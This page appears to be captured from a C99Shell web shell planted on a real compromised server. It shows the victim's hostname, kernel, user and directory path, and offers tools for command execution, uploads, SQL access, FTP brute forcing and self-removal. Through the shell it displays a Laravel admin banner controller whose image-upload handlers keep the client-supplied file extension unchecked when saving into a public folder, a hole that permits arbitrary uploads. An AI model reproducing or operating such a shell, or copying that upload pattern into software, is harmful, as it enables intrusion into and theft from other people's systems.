!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smab.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 29.39 GB of 117.98 GB (24.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BannerController.php (16.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\Banner;
use 
App\Models\BannerImage;
use 
App\Models\Setting;
use 
App\Traits\CustomFileTrait;
use 
Illuminate\Database\Eloquent\Model;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\File;
use 
Illuminate\Support\Str;

class 
BannerController extends Controller
{
    use 
CustomFileTrait;
    protected 
$path '';

    public function 
__construct()
    {
        
$this->path public_path(config('constant.file_path.banner'));
    }

    public function 
index(Request $request) {
        
$name $request->get('name''');

        
$records Banner::select('id','name','status')

            ->
when($name != '', function($q) use($name) {
                
$q->where('name','like',"%$name%");
            })->
paginate($this->defaultPaginate);
        return 
view('admin.banner.index',['records' => $records]);
    }

    public function 
add() {
        return 
view('admin.banner.add',[]);
    }

    public function 
store(Request $request) {

        
$this->validate($request, [
            
'name' => ['required''string''max:255'],
//            'image' => ['required','mimes:jpeg,jpg,png'],
        
]);

        
$this->createDirectory($this->path);
        
$banner = new Banner($request->only('name','status'));
        
$banner->save();
            
$bannerArray = [];
            foreach (
$request->title as $key => $value ) {
                
$image null;
                if(
$request->image[$key]) {
                    
$image $request->image[$key];
                }

                
$imageName $this->saveCustomFileAndGetImageName($image,$this->path);
                
$bannerArray[] = [
                    
'banner_id' => $banner->id,
                    
'title' => $request->title[$key],
                    
'link' => $request->link[$key],
                    
'sort_order' => $request->sort_order[$key],
                    
'image' => $imageName,
                ];
            }
            
BannerImage::insert($bannerArray);

            
$getHomepageSlider Banner::with('images:image,link,sort_order,banner_id,title,description,text_color_code')
            ->
select('id''name''status')
            ->
whereHas('images', function ($q) {
              
$q->orderBy('sort_order''ASC');
            })->
where('status''1')->whereIn('name',['WebSlider','web-homepage-sub-banners'])
            ->
get();


            
$val  =    json_encode($getHomepageSlider);
            
$filename base_path().'/storage/app/webhomepagesliderarr.json';
            
$fp=fopen($filename,"w");
            
fwrite($fp,$val);
            
fclose($fp);

            
$threecolumnbanners =  Banner::with('images:image,sort_order,banner_id,link,title,description,text_color_code')->select('id','name','status')
            ->
whereHas('images',function($q){
                
$q->orderBy('sort_order','ASC');
              })->
where('status','1')
              ->
where('name','web-three-column-banner')
              ->
first();

            
$twocolumnbanners =  Banner::with('images:image,sort_order,banner_id,link,title,description,text_color_code')
            ->
select('id','name','status')
            ->
whereHas('images',function($q){
                
$q->orderBy('sort_order','ASC');
              })->
where('status','1')
              ->
where('name','web-two-column-banner')
              ->
first();

              
$val  =    json_encode($threecolumnbanners);
              
$filename base_path().'/storage/app/homepagethreecolumnbannersArray.json';
              
$fp=fopen($filename,"w");
              
fwrite($fp,$val);
              
fclose($fp);

              
$val  =    json_encode($twocolumnbanners);
              
$filename base_path().'/storage/app/homepagetwocolumnbannersArray.json';
              
$fp=fopen($filename,"w");
              
fwrite($fp,$val);
              
fclose($fp);


              
//app homepage slider
              
$getAppHomepageSlider Banner::with('images:image,link,sort_order,banner_id')->select('id','name','status')
              ->
whereHas('images',function($q){
                  
$q->orderBy('sort_order','ASC');
                })->
where('status','1')->where('name','Application Home Page Slider')->first();

              
$val  =    json_encode($getAppHomepageSlider);
              
$filename base_path().'/storage/app/apphomepageSlider.json';
              
$fp=fopen($filename,"w");
              
fwrite($fp,$val);
              
fclose($fp);

              
//app homepage banenr
              
$getAppHomepageBanner Banner::with('images:image,link,sort_order,banner_id')->select('id','name','status')
              ->
whereHas('images',function($q){
                  
$q->orderBy('sort_order','ASC');
                })->
where('status','1')->where('name','Application Banners')->first();

              
$val  =    json_encode($getAppHomepageBanner);
              
$filename base_path().'/storage/app/appbanner.json';
              
$fp=fopen($filename,"w");
              
fwrite($fp,$val);
              
fclose($fp);

        return 
redirect(route('banner'))->with('success','Banner Created Successfully');
    }

    public function 
edit($id) {

        return 
view('admin.banner.edit',[
            
'data' => Banner::with('images')->findOrFail($id),
        ]);
    }

    public function 
update(Request $request,$id) {

        
$this->validate($request, [
            
'name' => ['required''string''max:255'],
        ]);
        
$banner Banner::findOrFail($id);
        
$banner->fill($request->only('name','status'))->save();
        
$bannerImageIds = [];
        
$bannerArray = [];
        foreach (
$request->title as $key => $value ) {
            
$image null;

            if (isset(
$request->ids[$key])) {
                
$bannerImage BannerImage::whereId($request->ids[$key])->first();
                
$bannerImageIds[] = $request->ids[$key];
                if(isset(
$request->image[$key])) {
                    
$image $request->image[$key];
                    
$this->removeOldImage($bannerImage->image,$this->path);
                    
$bannerImage->image $this->saveCustomFileAndGetImageName($image,$this->path);

                }
                
$bannerImage->title $request->title[$key];
                
$bannerImage->link $request->link[$key];
                
$bannerImage->sort_order $request->sort_order[$key];
                
$bannerImage->save();
            } else {
                
$image $request->image[$key];
                
$imageName $this->saveCustomFileAndGetImageName($image,$this->path);
                
$bannerArray[] = [
                    
'banner_id' => $banner->id,
                    
'title' => $request->title[$key],
                    
'link' => $request->link[$key],
                    
'sort_order' => $request->sort_order[$key],
                    
'image' => $imageName,
                ];
            }
        }

        
$oldBannerImagesData BannerImage::where('banner_id',$id)->get();
        
$oldBannerIds $oldBannerImagesData->pluck('id')->toArray();
        
$deletedBannerIds array_diff($oldBannerIds,$bannerImageIds);
        
$oldBannerImages $oldBannerImagesData->pluck('image','id')->toArray();

//      Remove deleted Images
        
foreach($deletedBannerIds as $key => $value) {
            
$this->removeOldImage($oldBannerImages[$value],$this->path);
        }

        
BannerImage::insert($bannerArray);
        
BannerImage::whereIn('id',$deletedBannerIds)->delete();

        
$getHomepageSlider Banner::with('images:image,link,sort_order,banner_id,title,description,text_color_code')
        ->
select('id''name''status')
        ->
whereHas('images', function ($q) {
          
$q->orderBy('sort_order''ASC');
        })->
where('status''1')->whereIn('name',['WebSlider','web-homepage-sub-banners'])
        ->
get();


        
$val  =    json_encode($getHomepageSlider);
        
$filename base_path().'/storage/app/webhomepagesliderarr.json';
        
$fp=fopen($filename,"w");
        
fwrite($fp,$val);
        
fclose($fp);

        
$threecolumnbanners =  Banner::with('images:image,sort_order,banner_id,link,title,description,text_color_code')->select('id','name','status')
        ->
whereHas('images',function($q){
            
$q->orderBy('sort_order','ASC');
          })->
where('status','1')
          ->
where('name','web-three-column-banner')
          ->
first();

        
$twocolumnbanners =  Banner::with('images:image,sort_order,banner_id,link,title,description,text_color_code')
        ->
select('id','name','status')
        ->
whereHas('images',function($q){
            
$q->orderBy('sort_order','ASC');
          })->
where('status','1')
          ->
where('name','web-two-column-banner')
          ->
first();

          
$val  =    json_encode($threecolumnbanners);
          
$filename base_path().'/storage/app/homepagethreecolumnbannersArray.json';
          
$fp=fopen($filename,"w");
          
fwrite($fp,$val);
          
fclose($fp);

          
$val  =    json_encode($twocolumnbanners);
          
$filename base_path().'/storage/app/homepagetwocolumnbannersArray.json';
          
$fp=fopen($filename,"w");
          
fwrite($fp,$val);
          
fclose($fp);


          
//app homepage slider
          
$getAppHomepageSlider Banner::with('images:image,link,sort_order,banner_id')->select('id','name','status')
          ->
whereHas('images',function($q){
              
$q->orderBy('sort_order','ASC');
            })->
where('status','1')->where('name','Application Home Page Slider')->first();

          
$val  =    json_encode($getAppHomepageSlider);
          
$filename base_path().'/storage/app/apphomepageSlider.json';
          
$fp=fopen($filename,"w");
          
fwrite($fp,$val);
          
fclose($fp);

          
//app homepage banenr
          
$getAppHomepageBanner Banner::with('images:image,link,sort_order,banner_id')->select('id','name','status')
          ->
whereHas('images',function($q){
              
$q->orderBy('sort_order','ASC');
            })->
where('status','1')->where('name','Application Banners')->first();

          
$val  =    json_encode($getAppHomepageBanner);
          
$filename base_path().'/storage/app/appbanner.json';
          
$fp=fopen($filename,"w");
          
fwrite($fp,$val);
          
fclose($fp);


        return 
redirect(route('banner'))->with('success','Banner Updated Successfully');
    }

    public function 
delete($id) {
        if(! 
$data Banner::whereId($id)->first()) {
            return 
redirect()->back()->with('error''Something went wrong');
        }

        
$images $data->images()->pluck('image');
        foreach(
$images as $key => $value) {
            
$this->removeOldImage($value,$this->path);
        }
        
Banner::where('id',$id)->delete();
        
BannerImage::where('banner_id',$id)->delete();

        return 
redirect(route('banner'))->with('success''Banner  Deleted Successfully');
    }


    public function 
promotionalBanner(){
        
$popular_banner=Setting::where('key','popular_banner')->first();
        
$category_banner=Setting::where('key''category_banner')->first();
        
$new_product_banner=Setting::where('key''new_product_banner')->first();

        
$data['popular_banner']=isset($popular_banner->value)?json_decode($popular_banner->value):'';
        
$data['category_banner']=isset($category_banner->value)?json_decode($category_banner->value):'';
        
$data['new_product_banner']=isset($new_product_banner->value)?json_decode($new_product_banner->value):'';

        return 
view('admin.banner.promotional_banner',$data);
    }

    public function 
promotionalBannerUpdate(Request $request){

        try{
            if(
$request->type=='popular_banner'){
                
$pre_popular_banner=Setting::where('key''popular_banner')->first();

                if(
$pre_popular_banner && isset(json_decode($pre_popular_banner->value)->picture_one)){
                    
$image_one_name=json_decode($pre_popular_banner->value)->picture_one;
                }
                if(
$pre_popular_banner && isset(json_decode($pre_popular_banner->value)->picture_two)){
                    
$image_two_name=json_decode($pre_popular_banner->value)->picture_two;
                }

                
$str_rand=Str::random(4);

                if (
$request->hasFile('picture_one')) {
                    
$file $request->file('picture_one');
                    
$picture_one time() . 'img-one.' $file->getClientOriginalExtension();
                    
$file->move(public_path('/uploads'), $picture_one);
                    
$image_one_name=$picture_one;
                }
                if (
$request->hasFile('picture_two')) {
                    
$file $request->file('picture_two');
                    
$picture_two time() .$str_rand'.' $file->getClientOriginalExtension();
                    
$file->move(public_path('/uploads'), $picture_two);
                    
$image_two_name=$picture_two;
                }

                
$data=[
                    
'title_one'=>$request->title_one,
                    
'link_one'=>$request->link_one,
                    
'title_two'=>$request->title_two,
                    
'link_two'=>$request->link_two,
                    
'picture_one'=>$image_one_name,
                    
'picture_two'=>$image_two_name,
                ];

                
$popular_banner=['key'=>'popular_banner'];

                
$settingsSetting::firstOrNew($popular_banner);
                
$settings->store_id='1';
                
$settings->value=json_encode($data);
                
$settings->save();
            }


            if(
$request->type=='category_banner'){
                
$pre_category_banner=Setting::where('key''category_banner')->first();

                
$category_image=null;
           
                if(
$pre_category_banner && isset(json_decode($pre_category_banner->value)->category_image)){
                    
$category_image=json_decode($pre_category_banner->value)->category_image;
                }
                if (
$request->hasFile('category_picture')) {
                    
$file $request->file('category_picture');
                    
$picture_category time() . '.54' $file->getClientOriginalExtension();
                    
$file->move(public_path('/uploads'), $picture_category);
                    
$category_image=$picture_category;
                }
                
// dd($request->all());
                
$data=[
                    
'category_title'=>$request->category_title,
                    
'category_link'=>$request->category_link,
                    
'category_image'=>$category_image
                
];
                
$popular_banner=['key'=>'category_banner'];
                
$settingsSetting::firstOrNew($popular_banner);
                
$settings->value=json_encode($data);
                
$settings->store_id='1';
                
$settings->save();

            }


            if(
$request->type=='new_product_banner'){
                
$pre_popular_banner=Setting::where('key''new_product_banner')->first();

                if(
$pre_popular_banner && isset(json_decode($pre_popular_banner->value)->picture_one)){
                    
$image_one_name=json_decode($pre_popular_banner->value)->picture_one;
                }
                if(
$pre_popular_banner && isset(json_decode($pre_popular_banner->value)->picture_two)){
                    
$image_two_name=json_decode($pre_popular_banner->value)->picture_two;
                }

                
$str_rand=Str::random(4);

                if (
$request->hasFile('picture_one')) {
                    
$file $request->file('picture_one');
                    
$picture_one time() .$str_rand.'.' $file->getClientOriginalExtension();
                    
$file->move(public_path('/uploads'), $picture_one);
                    
$image_one_name=$picture_one;
                }
                if (
$request->hasFile('picture_two')) {
                    
$file $request->file('picture_two');
                    
$picture_two time() . 'img-one.' $file->getClientOriginalExtension();
                    
$file->move(public_path('/uploads'), $picture_two);
                    
$image_two_name=$picture_two;
                }

                
$data=[
                    
'title_one'=>$request->title_one,
                    
'link_one'=>$request->link_one,
                    
'title_two'=>$request->title_two,
                    
'link_two'=>$request->link_two,
                    
'picture_one'=>$image_one_name,
                    
'picture_two'=>$image_two_name,
                ];

                
$popular_banner=['key'=>'new_product_banner'];

                
$settingsSetting::firstOrNew($popular_banner);
                
$settings->value=json_encode($data);
                
$settings->store_id='1';
                
$settings->save();

            }


            return 
redirect()->back()->with('success''Banner Updated Successfully');

        }catch (
\Exception $ex){
            return  
redirect()->back()->withErrors(['failed'=>$ex->getMessage()]);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--